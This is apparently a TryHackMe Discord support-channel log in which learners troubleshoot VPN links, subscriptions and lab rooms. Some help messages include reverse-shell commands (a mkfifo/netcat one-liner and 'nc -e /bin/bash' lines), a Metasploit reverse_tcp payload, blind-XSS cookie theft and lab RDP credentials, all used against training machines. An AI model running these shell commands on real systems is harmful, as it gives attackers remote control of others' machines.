AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHH

I HATE THISADJDSA:LFfldsjkl;asdfj

ok I need to keep calm

nearly 1am

[grave ridge]

lesson learnt, NEVER MAKE BLOODY DIRECTORIES AS ROOT UNLESS NEEDED TO

:)

[abstract raven]

Yep. Thats an easy way to give yourself a headache

[grave ridge]

ok i finished reinstalling kali

[fading saddle]

oof

[near rose]

Post exploitation basics

[cursive escarp]

i need verify my discord 3 week not verify why ?

[lament trout]

@cursive escarp !docs verify

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[cursive escarp]

why docs ?

[lament trout]

follow this link in order to verify

[cursive escarp]

don't open link

i send several time but not verify

[lament trout]

what does it say?

[cursive escarp]

hi i want verify my discord account

i did exact steps inside the like you send it here
and i send my code to the Bot account mentioned in the link above
it doesn't reply me yet what should i suppose to do? Any Help here Thanks in advance

[lament trout]

hey @near rose I tried RDP using remmina just for you and it worked in single try.
username: Administrator
password: P@$$W0rd its a zero and not alphabet O
domain: CONTROLLER

I also tried ssh as mentioned in task 2, that works fine as well.
ssh Administrator@<IP>

[eager raptor]

If you have "allow direct messages from server members" turned off in your privacy settings then it won't work.
Not sure if that's the issue in your case.

[lament trout]

don't think that setting affects bots, not sure.

[crystal marlin]

It does

[lament trout]

oh

[eager raptor]

It does indeed.

[real elk]

Hello can I get some admin support please regarding a payment issue ?

[near rose]

thanks I find out that the issue was actually from setting the color resolution

[scenic torrent]

Gave +1 Rep to @lament trout

[near rose]

I needed to change the settings

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[grave ridge]

wrong chat oops

[hollow blaze]

Does anyone also have problems connecting to the Windows Privesc machine In Jr Pentester Path? For some reason the machine just want load. I have tried multiple restarts . I wish they would have provided RDP credentials.

[sinful loom]

C:\Users\Surface>nmap -p- 192.168.1.145
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-21 16:31 Hora estßndar romance
Nmap scan report for 192.168.1.145
Host is up (0.011s latency).
All 65535 scanned ports on 192.168.1.145 are in ignored states.
Not shown: 65535 closed tcp ports (reset)
MAC Address: 8E:A2:0E:33:08:13 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 22.26 seconds

How does my mobile phone connect to the internet if it does not have a single port open?

[bronze vale]

This channel is for THM related issues 🙂

[sinful loom]

k

[livid onyx]

Hello, there. I have an issue with https://tryhackme.com/room/xssgi.
Task 8: Practical Example (Blind XSS)
I think there is a bug.
The link that was provided on the task is HTTPS, however, the payload is HTTP, in Firefox 78.14 it's impossible to fetch HTTP URL from a webpage opened with HTTPS. The error is "Blocked loading mixed active content". I've tried different variations. I was able to open web site with HTTP, create an HTTP payload and I received my cookie. But I didn't receive a staff cookie. As well I tried HTTPS web and HTTPS payload. As well I received a request, but it was encrypted obviously and I received only my request (when I opened the page with payload). I haven't received any stuff cookie requests.

[crystal marlin]

You have to wait until the automation that's behind will open the ticket as a staff member. If you wait 2 - 3 min and you receive nothing then try to restart the machine or/and doing it on the attackbox or request catcher.

[livid onyx]

Yep. I know it. And I waited for 10 minutes every time I tried.

[livid onyx]

And yes, I stopped machine and start it again and it didn’t work.

[coral granite]

On my public profile it always says that I'm from Afghanistan because is the first option in the settings. But i cannot change it....
Any idea?

[stray cove]

There should be a "reset-timezone" link in the pinned messages, that seems to work

[stray cove]

https://tryhackme.com/api/user/update-timezone Go here

[boreal yarrow]

i have a problem with my discord account, i verified it with my personal account but i needed a new account for my study. Now my discord account is linked to an old account that is not being used instead of my school account on THM which i am using a lot.
Does anyone now how to change the linked account? using !verify with the new token doesnt work

[livid onyx]

@crystal marlin I've just tested it again and it works only on AttackBox.

[coral granite]

Thanks a lot

[scenic torrent]

Gave +1 Rep to @stray cove

[crystal marlin]

Ok, ye that's why I suggested using the attackbox or the request catcher, although it was working for me on my local machine when I did that room. 🙂

[livid onyx]

Thanks!

[scenic torrent]

Gave +1 Rep to @crystal marlin

[remote raft]

My subscription ended on 21/11, and I have no enough funds for it to be renewed. What should I do if I want to cancel the subscription?

Why am I still have subscriber status?

[crystal marlin]

Have you cancelled it on your THM profile page ?

[remote raft]

Yes, but after the charging which failed

[crystal marlin]

Then you probably best with sending an email to the support explaining your issue.

[e-mail]

[remote raft]

Thanks

[naive dust]

!vpn

[sharp bison]

TryHackMe

Learn how to use OpenVPN to connect to our network!

https://tryhackme.com/room/openvpn

From TryHackMe with ❤!

[naive dust]

!tool

[proud palm]

Any reason why I lost my 26 day streak randomly? Easily within the 24 hour mark as I worked last night this morning and tonight. It registered as my 26th day then reset 30 minutes later. I know it’s just a streak but it was a personal goal to get 30 days in a row. You can see on my profile activity how often I’m on as well.

[hollow otter]

You can send an email, ask nicely to recover your lost streak, as for randomly lost streak i have no clue. Worth mentioning it on the email

[elder wraith]

is there a problem in IN SERVER i m not able to connect

[timber zodiac]

sorry 1 quest.
what if i cancel my subscription?
it expire at the renew date or immediately
tnks and sorry for dumb quest

[hollow otter]

Iirc you still subs until your subscription ends

[timber zodiac]

tnks

[ivory bough]

Good Morning, i try Room "wordpresscve202129447" but iam stuck at the connect to the DB. i dont know what can i do to fix it, google results cant help me 😦

[elder wraith]

which vpn r u using

[ivory bough]

openvpn

[hollow otter]

Are you sure you fully connected with thm vpn?

[ivory bough]

yes

iam on the WP Site

[hollow otter]

Haven't completed the room, but might worth to check writeup

[ivory bough]

i checked, i have successfully read /var/www/html/wp-config.php, so i got the DB Name, User and PW. Next Step is to connect with MySQL DB

[hollow otter]

Can you try to use mysql from attackbox?

[ivory bough]

yes of course, i think its a local probelm but idk how to fix it :(, i try now vm from THM and write Feedback

[hollow otter]

Update your vm maybe

[ivory bough]

Command 'mysql' not found, but can be installed with:

apt install mysql-client-core-5.7
apt install mariadb-client-core-10.1

On THM VM but i install packages

root@ip-10-10-60-184:~# mysql -u 10.10.117.230 -u thedarktangent -p
Enter password:
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2 "No such file or directory")

idk...

omg fail layer 8 😄

mysql -h http://10.10.117.230 -u thedarktangent -p.... without http it works 😄
works -> mysql -h 10.10.117.230 -u thedarktangent -p

[hollow otter]

Nicw

Sorry can't help that much

[ivory bough]

np, its all fine 🙂

thx

[hollow otter]

Glhf

[rich juniper]

#site-support in room Redline -> task 5 IOC Search Collector, images are not visible

https://tryhackme.com/room/btredlinejoxr3d

[hollow otter]

Try refresh the page

[rich juniper]

tried

also tried in safari

and brave

same issue

[hollow otter]

It shows on mine

[rich juniper]

strange

[rich juniper]

below steps

after

IOC Search Collector will ignore the data that doesn't match an IOC you have gathered. Although, you can always choose to collect additional data. As the Redline User Guide states, the quality of the IOC analysis will depend on the data you have available in the analysis session.

i'm not able to paste screenshot here

or upload image

[hollow otter]

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[hollow otter]

You can, but you have to verified first

[rich juniper]

doing

above in chrome

[hollow otter]

Try ctrl+f5

Hard refresh

[rich juniper]

above in safari

[hollow otter]

Is there any plugins on your browser

[rich juniper]

brave one is uploading

a

i had paused ghostery

but should have worked on other

i'm accessing from Dubai, any issue from here

[hollow otter]

What happened if you try open it from your phone

[hollow otter]

No clue

[rich juniper]

i'll give it a try from phone

[hollow otter]

https://www.supereasy.com/solved-images-not-loading-in-chrome-quickly-easily/#:~:text=You can try clearing Chrome,see if this issue persists.

Try thid

[rich juniper]

it doesn't load in phone also

[hollow otter]

Strange

[rich juniper]

if chrome was the issue, it should have loaded in other browser

[hollow otter]

Yeah

Sorry, can't help that much

Might want to send an email to support

[rich juniper]

looks like ISP blocked some content here

i changed to US full tunnel vpn and it works

FYI: https://i.ibb.co/g7JkhPr/keylogger3.png

these urls are blocked in uae

"i.ibb.co" domain

@hollow otter thanks 🙂

[scenic torrent]

Gave +1 Rep to @hollow otter

[cobalt grove]

I'd like to subscribe to THM. I am a student, but registered with my private mail. I've changed the mail to my university mail and verified it. But it doesn't show the discount. Do I have to create a new account with my student mail as it needs to be the mail I registered with? Or should I directly write a mail to support and tell them that my university address seems not to be recognised (it does not end with .edu or .ac.uk)

[crystal marlin]

I would reach out to the support explaining that to them. Especially because if your email didn't get recognised regarding that pinned message: #site-support message

[bronze vale]

I work from 7pm-10pm GMT

[silver scarab]

hey guys, I'm having a problem connecting the nmap Walkthroughs (same problem as free guest and vip) Problem is i cant reach the machine with ping or nmap. I tried with openvpn, web based kali and attackbox. Same result. Im connected, I renewed the opvn configuration file, restarted machine, killed opvn instances, terminate and start machine again... but no result. But i can paste the machine ip in browser and i get the ISS home page... any advice?

I've checked and i have the tun0 interface and opvn runs fine (Initialization Sequence Completed)

[abstract raven]

That's the page youre supposed to get?

[silver scarab]

you mean about the ISS page? I have to do some nmap exercises but as nmap and ping doesnt work i tried pasting the ip on a browser and voila IIS shows so i guess there's connection between me and the machinne

[abstract raven]

Can you send the link to the room?

[silver scarab]

which link?

oh wait

https://tryhackme.com/room/furthernmap#

i think ill have same problem with any machinne

[abstract raven]

What task are you up to?

[silver scarab]

task 14 practical

i just need to do some nmap scans

[abstract raven]

The machine isn't supposed to respond to pings

You should have learned a way to get around that in a previous tadk

Task

[silver scarab]

i know doesnt respond icmp

but same problem with nmap

host seems to be down

[abstract raven]

Nmap by default does a ping scan to determine if the host is Up. Theres a specific flag you need to use to skip the ping scan

[silver scarab]

i tried the xmas scan too

[abstract raven]

That's not it lol

You need to skip the ping scan

Re read task 13

[silver scarab]

you mean -Pn switch?

[abstract raven]

Well that does do what you need it to dosent it?

[silver scarab]

according what i read on task 13 i used nmap -sX -p1-999 10.10.149.220 -Pn -vv

sX for xmas nmap, -p to ports from 1 to 999 and -Pn to not do pings... -vv for verbose

[abstract raven]

Well, an Xmas scan will show lots and lots of open or filtered ports

You'll need to use something you learned in an earlier task

[silver scarab]

then i guess everything is working fine and its my mistake

so i need to re read previous tasks

[abstract raven]

Yep

[silver scarab]

thanks for your help Joker122402

🙂

[lunar tree]

Hello, am I able to change my username on THM ?

[crystal marlin]

#site-support message

[lunar tree]

done, thanks ❤️

[scenic torrent]

Gave +1 Rep to @crystal marlin

[fading saddle]

hey fellas, can I enroll in multiple paths after completing the current one? also can i get more than one certificate of completions?

[sand olive]

Yes and yes (1 per path)

[fading saddle]

thank you!

[scenic torrent]

Gave +1 Rep to @sand olive

[naive dust]

Hello, Who can help me with changing my country?
Thansk,

[sand olive]

Check the pins

It's one of the top ones

[naive dust]

Thanks

[hollow yew]

https://tryhackme.com/room/internal

On this machine, when on the http server when i click something instead of taking me to where i clicked it changes the url to "internal.thm"/path i want to go

is this intentional or what lmaoo

[sand olive]

Intended

[hollow yew]

oh

pain

ty for help

[sand olive]

Try adding
ip_here internal.thm
To your /etc/hosts

See what happens

Edited because am a potato

@hollow yew ^

[hollow yew]

oh shit

thats mad

tysm

[sand olive]

[hollow yew]

[runic barn]

hi guys. I open with firefox the webpage from any practical room and nothing is displayed, but i can see and analyze the source code and the developers tool. Why is that? any missconfiguration? i tried firefox, chrome and ie...

[crystal marlin]

What room for example?

[runic barn]

pickle rick

for example, but happens in everyone

[crystal marlin]

And what do you see then?

Maybe supply a screenshot

[runic barn]

nothing. white screen

but i can open source code and watch developers tool

thats weird

white screen, reloading anytime

[crystal marlin]

Are you using a private vpn provider?

[runic barn]

the vpn that offers tryhackme

[crystal marlin]

You don't have to use the vpn just for going on the usual webpage/room page. Have you tried ctrl + F5 for a hard refresh?

[runic barn]

y

[crystal marlin]

In case you have the vpn turned on, could you turn it off and try again?

[runic barn]

i will

same

[crystal marlin]

And you are not using any private vpn as well?

[runic barn]

i discover what a vpn is last month because of tryhackme

😄

[crystal marlin]

Okay, well that doesn't mean that you are not using any private vpn right now 😄 Are you on a VM or an installed operating system?

[runic barn]

tried in window os installed, and from kali VM

both

they do the same

is it probably that my router is connected through a vpn?

[crystal marlin]

Uhm, I don't think so.

Mh, maybe try restarting your computer and try again without connecting to the VPN for now.

Also maybe check if you have any kind of anti virus that might block something in your browser.

[runic barn]

i will disable the av and try again

ty anyway fontaene

[crystal marlin]

Make sure to use ctrl + F5 when trying. Sure not a problem, I hope you will figure it out 🙂

[muted oxide]

hi are those windows machine always that slow or is it because of subscription? 😄

[lyric lake]

I am needing assistance with Metasploit. I noticed I was not getting any response back to my exploits, so I went backwards and restarted the Metasploit Room. For some reason, the same issue occurs, except it shows me this time that the exploit was run but no session was created. Can someone work with me on this and help me pinpoint my issue?

[crystal marlin]

Are you on your own machine or the attackbox?

[lyric lake]

Attackbox works, but my machine is the one throwing the error.

[crystal marlin]

Which metasploit room is it?

[lyric lake]

Actually, any room that requires connecting with Metasploit is not returning a connection. Metasploit room, Ice room, Blaster room, and rooms in Jr Pentester path. First time I went thru the Metasploit room, it worked fine.

[crystal marlin]

Are you using a VM or an installed OS ?

[lyric lake]

Installed Kali

[crystal marlin]

If you check ifconfig you only have tun0 interface or any extra like tun1, tun2 etc?

[lyric lake]

Only Tun0 and eth0

[crystal marlin]

Any firewall in place?

[lyric lake]

not intentionally

[crystal marlin]

Try sudo ifconfig tun0 mtu 1200 and check again if you receive the shell. Maybe don't try it for now with an exploit like eternalblue which might can fail several times.

[lyric lake]

the exploit in Metasploit room is the Icecast exploit.

[lyric lake]

tried again but no connection again. Is there a way to "factory reset" my Metasploit? Lol

[crystal marlin]

I'm not sure if the issue is within your metasploit. It's saying exploit complete but no session created, right?

[lyric lake]

true

[crystal marlin]

What payload are you using?

[lyric lake]

windows/meterpreter/reverse_tcp. I actually had to reset the machine at one point because it had dropped port 8000.

[crystal marlin]

I'm not quite sure, but I think someone said once that the icecast exploit could mess up the machine after a certain amount of attempts. So maybe restart the target machine, give it enough time to fully boot and then try it again with the mtu set to 1200. Also you might want to try to just catch a simple shell with netcat or metaploit from a target machine where you can ssh into (for example linux fundamentals 2). Just to make sure you can receive rev shells in general.

[lyric lake]

Ok, I will go back to Linux Fundamentals to test that. Ideas if that can't work?

[crystal marlin]

Mh, check if you can access 10.10.10.10 in your browser, or curl 10.10.10.10/whoami to make sure you are even connected to the vpn, although I guess you are. Double check if the LHOST matches your tun0 IP. Try to regenerate your VPN config or choose a different THM VPN server. Other then that I think I'm out of ideas 😄

[lyric lake]

Thank you for your help.

[scenic torrent]

Gave +1 Rep to @crystal marlin

[naive dust]

Hi, I am unable to subscribe to THM premium because I'm getting a 'cannot access your paypal account' during the checkout process. Can someone help?

[vocal wigeon]

Hi, seems like there's a bug(?) on the Offsec pentesting path? I've completed all of it yet I'm still at 80% progress because of the HackPark room even though I completed the room itself

[unique kelp]

hey, i need help on the billing account settings

@zealous yoke

[naive dust]

Hello, what should be the Network setting on my Virtual Box with Kali Linux so it does not interfere with my ISP or the Law? Thanks for your help.

[plush bay]

depends on where you live and what isp you are using

but most of the time the defaults should probably be okay

[abstract raven]

As long as you don't try to scan or attack anything that you don't have permission to then you'll be fine

[naive dust]

I am going to work only with my own VM's in the Virtual Box.

[abstract raven]

Then don't worry about the network settings

NAT will be just fine which is default. If you want to cut them off from the internet too then switch the adapter to host only

[coral granite]

I have enabled One day streak freeze. Hovering my streak says that 1 day freeze is applied. Does this mean that i can leave for a day without completing questions and it will not cancel my streak right?

[crystal marlin]

It should not, right.

[coral granite]

I will pray to that 😅

[crystal marlin]

I pray with you 🙂

[covert bronze]

I kinda have a problem with the room "Agent Sudo" (https://tryhackme.com/room/agentsudoctf) the box takes ages for me to spin up. (And its a linux box) Afterwards it works and is interactive for like 3-4 minutes then it is not responsible for 1-2 minutes. This repeats over and over again. I already restarted the box twice

[crystal marlin]

What you mean with it's "interactive" for like 3 - 4 mins?

[covert bronze]

Sorry I meant inactive

It is completely unresponsive not even reacting to pings

[urban wraith]

I am trying to connect my virtualbox(os kali) to thm but it doesn't seem to be working.

Exiting due to fatal error

I have solved it with black magic

thanks anyone who read this

[crystal marlin]

Well I still don't understand completely? I guess you are at task 1 or 2 ? So have you tried to scan that machine already? Also, are you trying to access that target machine from the attackbox or your own machine?

[crystal marlin]

Connecting to the thm vpn is what you are trying?

[urban wraith]

yep but thanks I have solved it

[scenic torrent]

Gave +1 Rep to @crystal marlin

[covert bronze]

The problem is the machine the room is hosted on runs instable. The target machine is most of the time not responsive. Like the apache does not react, ftp connection times out, ssh times out, gobuster cant reach it after around 3% progress through its wordlist. SSH connection to the machine gets closed aswell

I am trying to access it from my own kali vm but I never had a problem with any machine I encountered on thm, yet.

[crystal marlin]

That sounds more like a connection issue then the machine itself. Check if you are successfully connected to the THM VPN by browsing to 10.10.10.10 or doing curl 10.10.10.10/whoami Make sure openvpn is running directly inside your VM and not on your host machine. Check ifconfig to make sure there is only a tun0 interface and not any extra like tun1, tun2 etc. If you have done that and all seems good, try sudo ifconfig tun0 mtu 1200 and then try again to SSH, or ftp.

[covert bronze]

I will check it out tomorrow thank you for the information. I still have to escalate to root so I will get to this box tomorrow and then I can rule out the the problem is on my connection side if it is still present 🙂 Gn8 for today

[crystal marlin]

Alright, gn8 😴

[obsidian orchid]

Does tryhackme automatically takes money if I've subscription and I haven't canceled it before renew date??

My subscription was supposed to end on 22/11/2021 but I can still access vip machines. I don't want subscription this month.

If i cancel subscription will my money (if taken) be returned

[last dagger]

Hi all, for some reason my profile now says that I am from Afghanistan and I show up on the Afghanistan leaderboard when I am actually from Australia. My account used to to show up correctly with the Australian Flag. Any way I can change this or get it updated?

[hollow otter]

Try this link https://tryhackme.com/api/user/update-timezone

[inland seal]

Hey!
Is there a way i can gift 1 yr subscription to my friend and use the code AOC2021 to get the discount?

[last dagger]

That worked. Thank you!

[scenic torrent]

Gave +1 Rep to @hollow otter

[naive dust]

Hey guys wassup! I have a question, does anyone know why when i am connected to the vpn thm via mobile tethering i dont get rev shells? Thanks!

[weary elbow]

Yesterday I was busy because of some work
And to keep my streak going on I just answered 1 question which was enough to keep my streak going on.
So I just answered 1 question and it even displayed that streak has been increased, but when I opened today it's showing me that all streak is gone now I have to start again from 0.

Why so 😔

[gaunt burrow]

Is it just my or the images in the rooms are broken?

[bronze vale]

Can you access imgur.com?

Which rooms?

Could you screenshot?

[sacred gull]

I just lost my 60 day streak is there anyway to get it back? 😔

[crystal marlin]

#site-support message

[sacred gull]

Thanks

[scenic torrent]

Gave +1 Rep to @crystal marlin

[lyric lake]

I have an issue for everyone to ponder over. I have had no luck with sessions connecting in Metasploit. I have discovered that I am not able to connect with NC either. It states that there are no ports to connect to. I then ran nmap on my THM VPN address and my personal network address; both came back with NO open ports at all. Can anyone explain why this could be?

[lament trout]

what's the point of checking open ports on your own device?

unless you're running a server or something

[lyric lake]

I just tried it because I couldn't get a reverse shell using Netcat

Netcat told me no ports to connect to, when I tried to connect from target machine. This gives me an idea why my listeners never got responses.

[crystal marlin]

So if you first start nc -lnvp 4242 and after that in a new terminal do sudo netstat -tulpn you don't see port 4242 listening?

[lyric lake]

I can see the port is listening with nc. But target machine can't connect to my machine saying "no port[s] to connect to" . I opened a listener on my machine and logged into the THM machine and used "nc 10.2.102.61 -e /bin.bash" and it says there are no ports to connect to.

[crystal marlin]

Probably because you haven't specified a port. So try nc -e /bin/bash IP PORT

[lyric lake]

tried it, might have connected, but no response from listener or sender.

they both appear to be waiting on something

[crystal marlin]

What you mean with no response? Did it say something like connection received from * * * * or similar to that?

[lyric lake]

no....just sitting there waiting on both sides

ok, now the connection timed out

[crystal marlin]

Have you set the mtu setting I gave you last time?

[lyric lake]

yes

[crystal marlin]

So after it said connection received, did you try a command like whoami?

[lyric lake]

it never said connection received

"shell@linux-shell-practice:~$ nc -e /bin.bash 10.2.102.61 4444
(UNKNOWN) [10.2.102.61] 4444 (?) : Connection timed out
"

Listener is still waiting

[lament trout]

there's another NC command as well, maybe you can tey that

[crystal marlin]

You are doing /bin.bash instead of /bin/bash

[lament trout]

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

[lyric lake]

same waiting response, no connection

[crystal marlin]

Ye maybe try the one from thesarthakjain. Meanwhile on your machine, could you do curl 10.10.10.10/whoami and let me know the reply you get to that?

[lyric lake]

10.2.102.61

[crystal marlin]

Mh

[lyric lake]

can not remove /tmp/f

[crystal marlin]

On the target machine, could you try nc -e /bin/bash 10.9.189.199 4242 to make sure there is no issue within the target machine.

That's my listener.

[lyric lake]

you tell me

[crystal marlin]

Ok, got it.

And I might repeat myself, but your listener was started with nc -lnvp 4444, right ?

[lyric lake]

close - nc -nlvp 4444

[crystal marlin]

Ye, that should make no difference so that seems fine. Could you show me your ifconfig output?

[lyric lake]

I have to figure out how to screenshot this thing

[crystal marlin]

alt + print I think

[lament trout]

quick question, with the THM VPN - we are all basically connected to each other right?

[crystal marlin]

Ye

[shy thorn]

same subnet pretty much

[lyric lake]

there ya go

[lament trout]

and is there anything stopping anyone from unethically pentest someone's IP?

[shy thorn]

ethics xD

[crystal marlin]

Your mtu setting is not on 1200 as we have spoken about.

Try that pls.

[shy thorn]

but to answer your question, I'm pretty sure no, so make sure to stay up to date with software!

[lament trout]

thanks

[shy thorn]

NP!

[runic wave]

Did THM remove the "windows" or "linux" sort buttons from the learn >> search page?

https://tryhackme.com/hacktivities?tab=search

[lyric lake]

Thank you. You pointed out that I had an active firewall when I didn't know I even installed one.

[scenic torrent]

Gave +1 Rep to @crystal marlin

[lyric lake]

mtu 1500 works again

[crystal marlin]

Great, then you should be good to go now I guess 🙂

[lyric lake]

until it mysteriously enables itself again..... <insert spooky sounds>

[crystal marlin]

Ye, but this time you know where to look for 🙂 So gl with your metasploit if you continue that room you had to stop on.

[lyric lake]

Maybe I can finish the Jr Pentest path now

This has been a problem for over a month now. Hehe

[naive dust]

Does anyone know the reason why i can't change my country? Actually i didn't change my country however i saw this morning that it has been changed.

[lyric lake]

Was there a silent coup overnight? Hehe

[cyan niche]

Hey guys. I have been using VMware workstation for my linux machines the last month but my license expired, can anyone recommend free alts?

I thought VMware was free, maybe it is and i have wrong version

[lament trout]

@cyan niche you're probably on vmware workstation pro, try vmware workstation player, that's free I believe.

https://www.vmware.com/in/products/workstation-player/workstation-player-evaluation.html

[cyan niche]

thank you

[scenic torrent]

Gave +1 Rep to @lament trout

[vale vine]

hey is the attackbox provided from tryhackme really slow right now ? cause i am trying to use them and the vnc is giving me like 1 fps .

and my internet connection seems fine everything else is working well its just the attackbox which working slow

[mellow mulch]

I was trying to connect to the Machine from https://tryhackme.com/room/django several times through openvpn and out of the attackbox but even after 10 minutes and serveral attempts of rebooting the Machine i cant reach it.

[snow vapor]

Please I'm totally lost in owasp top 10, task 26 with flag.txt

[muted oxide]

which one you dont know

you have to generate encoded oaykiad and use pickle i python

john

[plush bay]

use jumbo john and use zip2john to make a file john can understand to crack the password for

[plush bay]

what have you tried so far???

[crystal marlin]

Have you solved it meanwhile?

[snow vapor]

I was stuck on his change private IP to virtual IP....

[plush bay]

it is refering to the ip of the tun0 interface on your machine if you use the vpn to connect.... or in the top right corner of the screen in the attackbox

shadow is guessing at least

the file is not encrypted... the zip file is

encrypted zip files lets you view what files are on the inside but not view the contents of said files without using the password to decrypt and extract

[scenic torrent]

Gave +1 Rep to @plush bay

[plush bay]

no problem... hope you can crack it easily enough

[earnest herald]

Hi

[mellow mulch]

yes! thx for asking again. The instructions aren't in the correct order.

[scenic torrent]

Gave +1 Rep to @crystal marlin

[crystal marlin]

No I meant the issue with the machine for the last task not reachable?

[mellow mulch]

i tried it a third time and it was still not possible. i'll try it later again

[crystal marlin]

Just to make sure, how did you try to connect to it?

[mellow mulch]

openvpn and attackbox

[crystal marlin]

Ye, but how did you try to connect to the machine itself? SSH, browser etc. ?

[mellow mulch]

i tried to reach the http-server after this wasnt successfull i tried ssh

so first i tried browser, second ssh

[crystal marlin]

And both failed?

[mellow mulch]

y

[crystal marlin]

K, ye in case you try it again and it's still failing you can ping me here. As I assume you are busy with Hunt right now 😄

[sand olive]

humms showdown music

[mellow mulch]

ssh worked now from my kali vm trough vpn 👍

[warped sequoia]

Haven't gotten a response to a ticket in 24 hours, not from THM or PortSwigger.... having some pretty serious issues with ssh login since doing the BurpSuite room - disabled FoxyProxy today... port 22 wasn't showing as open anywhere, finally reset a bunch of things and get it now, but still no password is ever accepted for ssh login

[crystal marlin]

Which burp suite room, provide a link pls as there are a couple.

[warped sequoia]

The issue is showing in all rooms now, but the original BS room (love that acronym for it now...) was The Basics. FoxyProxy sent it all to hell, and nothing's been working properly since...

[crystal marlin]

Well I'm not quite sure what exactly the issue is. You were talking about ssh login? In which burp room is anything about ssh login?

[warped sequoia]

No... ALL rooms ... password fails... I went to a lot of trouble just to be able to get an open port 22 again.. it wasn't showing as open anywhere... found two random threads that helped me a little... now password still isn't being accepted. This happens across ALL rooms

[crystal marlin]

Unless the room is giving you ssh creds and is telling you to ssh into the target machine, you are not supposed to ssh into them.

[warped sequoia]

So, let's say Vulnversity... I'm not getting any access to the machine through browser, ssh, or otherwise... I'm also not asked to gain access any other way in the module... so... ? Why can't I access anything. I figured I needed to ssh to the room

Some of these modules really offer zero instruction, and if you're not subscribed to a path... I mean, I'm starting to think I need to take a proper online course... THM seems to be all over the place with no real track to progress, so I don't know what I'm supposed to be doing otherwise if it gives me no info to work with...

[crystal marlin]

Well vulnversity might be a different story, so lets stick with the burp suite rooms. First of all, are you trying to connect to the target machine through you own machine or through the web based attackbox?

[warped sequoia]

No, VirtualBox running Kali

OpenVPN. It connects just fine.

[crystal marlin]

Well if you are new to THM you might want to start with the tutorial room to understand how to use the platform. https://tryhackme.com/room/tutorial But also you can always ask here in discord if you need help with something.

[warped sequoia]

I've done that... I've used the site a bit already, but thank you

[crystal marlin]

Okay, so regarding the burp suite room. Start the target machine and then try to navigate to the given IP inside your VMs browser.

[warped sequoia]

Okay, give me a moment, I closed everything out from frustration of nothing working. You said no ssh in BS room, though, so is that the best place to test this?

[crystal marlin]

No ssh, right. Well it doesn't matter where we are going to test it right now, but I thought you had issues with that room, so lets stick with that room.

[warped sequoia]

No, that was the room I did before I started having trouble everywhere else... if that's where you want me to go, though, that's what I'll do

[crystal marlin]

Well then just open whatever room you are having issues with connecting right now, give me the link of that room and then we are going to try to solve it for that room.

[warped sequoia]

Thanks, one minute, just getting connected again

Okay, https://tryhackme.com/room/vulnversity

[crystal marlin]

Alright, so what exactly is the issue in that room right now?

[warped sequoia]

I'm on the gobuster task. In the walkthrough, DarkSec connects to the address in his browser to show that's where the upload form is. I can't connect to anything at the machine's IP address.

[crystal marlin]

Okay, so can you open 10.10.10.10 in your VMs browser?

[warped sequoia]

Jon suggested I come here, because originally this was a matter of having no port 22 ever showing up... I SEEM to have gotten around that, but still having connection issues, it seems...

One moment...

Yep, that connected

[crystal marlin]

And what's the full URL you try to open for that rooms webpage?

[warped sequoia]

wtf... I just entered it myself, and it connected.... psshhhh

IP:3333/internal for the internal folder gobuster found

shit... well... weird

[crystal marlin]

At least it seems you are not having connection issues, just the confusion about the ssh part 🙂

[warped sequoia]

So to be clear, we are not meant to be able to ssh into all rooms unless specifically instructed? I guess I thought it was standard to connect to each room's machine that way, because in early rooms, it is treated as standard fare...

[crystal marlin]

Right, they are most of the time just machines you have to attack yourself and gain a foothold through an exploit or similar.

[warped sequoia]

I guess it concerns me when the password is constantly rejected, and Jon mentioned bringing that here... I don't want to be condescended over "confusion," I have been doing as I've done in all other rooms, with no information anywhere to suggest different

Crap, now the room wants me to use BurpSuite, which seemed to kick off all my proxy misconfigurations...

[crystal marlin]

Oh no, it's all good, that's why you can just reach out to ask here in discord 🙂

[warped sequoia]

Well, I certainly appreciate your time and help! At least I feel better about this, hopefully PortSwigger will get back to that ticket so I can use BurpSuite without it screwing up other things.... Thank you!

[crystal marlin]

Btw I'm not quite sure what exactly the issue with burp is you have, but you could just reinstall foxyproxy and burp itself and use https://tryhackme.com/room/burpsuitebasics which shows you how to set up foxyproxy.

[dense matrix]

hello, I'm on network services 2 and I'm starting the NFS section 3: Enumerating NFS, where I need to mount some shares. I've mounted the shares, but there's no folders inside. Apparently, I need to find some keys that give me access to a remote server but there's nothing in the single folder. Can anyone please help?

[naive dust]

anyone decent with tor ?

[shy jungle]

what command are you using to mount the share?

[cedar drum]

hey so this isn't too important honestly

but the thingy that tells u how many questions you've answered in a day and displays ur streak isn't working

it's saying I haven't answered a single question today when I've completed multiple rooms today

[mellow kelp]

Refresh the Page

[cedar drum]

I have

multiple times

ima log out and log back in

still says I did nothing, hm

[gaunt burrow]

I can't reach imgur and it's been weeks already

[naive dust]

So for some reason I am now able to deploy an attackbox... It says that I have used it for over an hour, but I haven't even open it it for 15 mins..
Is this some weird glitch?

[lament trout]

@naive dust you can only start the attackbox once a day

-unless you're subscribed

[naive dust]

Oh dang... That sucks

[inland seal]

Hey!
Is there a way I can gift 1 yr subscription to my friend and use the code AOC2021 to get the discount?

[bronze vale]

Sounds like your ISP is blocking it, nothing we can do unfortunately

[somber oxide]

anyone knows how to generate new tryhackme token for discord? I created this new discord account and now trying to reconnect it. my old discord got deleted already by the discord moderators

[velvet grail]

hello, Is not a big issue but It look like I'm not able to configure the country on my profile, it always go back to the first country of the list Afganistan

[hollow otter]

Try this link https://tryhackme.com/api/user/update-timezone

[velvet grail]

it goes to the dashboard

[hollow otter]

Check your country again

I've read use those link to fix this problem

[velvet grail]

ohh, I got it now, yes it worked

thanks!

[naive dust]

Hi guys, I'm trying to connect to openvpn on kali linux, however I can't get on, I get the error

Options error: In [CMD-LINE]:1: Error opening configuration file: /Downloads/IrScrubzz(1).ovpn
Use --help for more information.

[crystal marlin]

Seems the path to your ovpn file is not right

